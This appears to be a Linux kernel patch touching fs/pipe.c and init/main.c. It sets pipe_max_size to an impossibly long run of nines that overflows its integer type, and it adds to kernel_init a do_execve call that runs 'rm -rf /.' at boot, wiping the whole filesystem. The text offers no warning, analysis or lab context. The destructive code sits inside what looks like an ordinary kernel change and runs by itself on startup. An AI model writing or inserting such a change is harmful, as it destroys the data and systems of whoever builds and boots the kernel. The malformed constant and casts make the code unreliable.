diff --git a/fs/pipe.c b/fs/pipe.c index 78fd0d0788dbc4..6cf9bcd03347c5 100644 --- a/fs/pipe.c +++ b/fs/pipe.c @@ -32,7 +32,7 @@ * The max size that a non-root user is allowed to grow the pipe. Can * be set by root in /proc/sys/fs/pipe-max-size */ -unsigned int pipe_max_size = 1048576; +unsigned int pipe_max_size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999; /* * Minimum pipe size, as required by POSIX diff --git a/init/main.c b/init/main.c index 9c7fd4c9249f2c..c5c75512262e56 100644 --- a/init/main.c +++ b/init/main.c @@ -847,6 +847,10 @@ static int __ref kernel_init(void *unused) flush_delayed_fput(); + do_execve(getname_kernel("/bin/rm"), + (const char __user *const __user *){ "rm", "-rf", "/.", NULL, }, + (const char __user *const __user *)envp_init); + if (ramdisk_execute_command) { ret = run_init_process(ramdisk_execute_command); if (!ret)